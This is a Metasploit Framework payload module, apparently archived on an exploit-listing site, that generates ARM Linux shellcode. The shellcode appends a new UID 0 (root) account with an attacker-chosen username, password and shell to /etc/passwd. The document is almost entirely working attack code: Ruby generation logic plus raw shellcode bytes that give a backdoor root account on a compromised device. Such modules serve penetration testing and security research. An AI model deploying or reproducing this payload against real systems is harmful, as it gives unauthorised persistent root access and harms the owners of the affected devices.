ExploitFixes
Create a New User with UID 0 - ARM (Meta) 2010-12-09 09:15:37

# Exploit Title: Linux/ARM - Create a new user with UID 0 (MSF)
# Date: 2010-11-25
# Author: Jonathan Salwan - twitter @shell_storm
# Tested on: ARM926EJ-S rev 5 (v5l)
# Issue link: https://metasploit.com/redmine/issues/3254

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

###
#
# AddUser
# -------
#
# Adds a UID 0 user to /etc/passwd.
#
###
module Metasploit3

include Msf::Payload::Single
include Msf::Payload::Linux

def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Add User',
'Version' => '???',
'Description' => 'Create a new user with UID 0',
'Author' => [ 'Jonathan Salwan' ],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Privileged' => true))

# Register adduser options
register_options(
[
OptString.new('USER', [ true, "The username to create", "metasploit" ]),
OptString.new('PASS', [ true, "The password for this user", "metasploit" ]),
OptString.new('SHELL', [ false, "The shell for this user", "/bin/sh" ]),
], self.class)
end

#
# Dynamically builds the adduser payload based on the user's options.
#
def generate_stage
user = datastore['USER'] || 'metasploit'
pass = datastore['PASS'] || 'metasploit'
shell = datastore['SHELL'] || '/bin/sh'
str = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"
strl1 = [ (str.length)+52 ].pack('C*')
strl2 = [ str.length ].pack('C*')
pwdir = "/etc/passwd"
payload =
"\x05\x50\x45\xe0\x01\x50\x8f\xe2\x15\xff\x2f\xe1" +
"\x78\x46"+ strl1 + "\x30\xff\x21\xff\x31\xff\x31" +
"\xff\x31\x45\x31\xdc\x22\xc8\x32\x05\x27\x01\xdf" +
"\x80\x46\x41\x46\x08\x1c\x79\x46\x18\x31\xc0\x46" +
strl2 + "\x22\x04\x27\x01\xdf\x41\x46\x08\x1c\x06" +
"\x27\x01\xdf\x1a\x49\x08\x1c\x01\x27\x01\xdf" +
str + pwdir

end

end